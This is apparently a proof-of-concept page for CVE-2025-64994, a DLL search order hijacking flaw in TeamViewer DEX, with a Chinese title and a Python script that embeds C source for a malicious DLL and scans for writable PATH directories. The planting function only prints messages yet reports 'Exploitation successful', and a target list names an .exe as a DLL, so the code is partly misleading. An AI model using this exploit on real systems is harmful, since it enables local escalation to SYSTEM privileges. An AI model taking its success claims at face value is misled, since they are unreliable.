CVE-2025-64994: TeamViewer DEX本地权限提升漏洞

# CVE-2025-64994 PoC - TeamViewer DEX DLL Hijacking # This PoC demonstrates the DLL search order hijacking vulnerability # in 1E-Nomad-SetWorkRate instruction prior to V17.1 import os import sys import ctypes from ctypes import wintypes # Malicious DLL source code that will be compiled exploit_dll_source = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create elevated command prompt or execute payload STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(si); // Execute calc.exe as demonstration (in real attack, this would be malicious code) CreateProcessA("C:\\\\Windows\\\\System32\\\\cmd.exe", "/c calc.exe", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); } return TRUE; } ''' def check_path_directories(): """Check for writable PATH directories that could be exploited""" path = os.environ.get('PATH', '') writable_dirs = [] for directory in path.split(';'): if directory and os.path.exists(directory): try: test_file = os.path.join(directory, '.write_test') with open(test_file, 'w') as f: f.write('test') os.remove(test_file) writable_dirs.append(directory) except: pass return writable_dirs def exploit_vulnerability(target_dll, writable_path): """Place malicious DLL in writable PATH directory""" malicious_dll_path = os.path.join(writable_path, target_dll) # In real attack, this would be a compiled malicious DLL # For demonstration, we show where the DLL would be placed print(f"[*] Placing malicious DLL at: {malicious_dll_path}") print(f"[*] When 1E-Nomad-SetWorkRate executes, it will load this DLL") print(f"[*] The DLL code will run with SYSTEM privileges") return True def main(): print("=" * 60) print("CVE-2025-64994 - TeamViewer DEX DLL Search Order Hijacking") print("=" * 60) # Check for writable PATH directories print("\n[*] Enumerating writable PATH directories...") writable_dirs = check_path_directories() if not writable_dirs: print("[-] No writable PATH directories found") return print(f"[+] Found {len(writable_dirs)} writable directories:") for d in writable_dirs: print(f" - {d}") # Target DLLs commonly used by 1E Nomad target_dlls = [ "Nomad.exe", "1ENomad.dll", "NomadSL.dll" ] # Attempt exploitation for dll in target_dlls: for path in writable_dirs: if exploit_vulnerability(dll, path): print(f"\n[!] Exploitation successful - DLL planted") print("[!] Wait for 1E-Nomad-SetWorkRate instruction execution") return if __name__ == "__main__": main()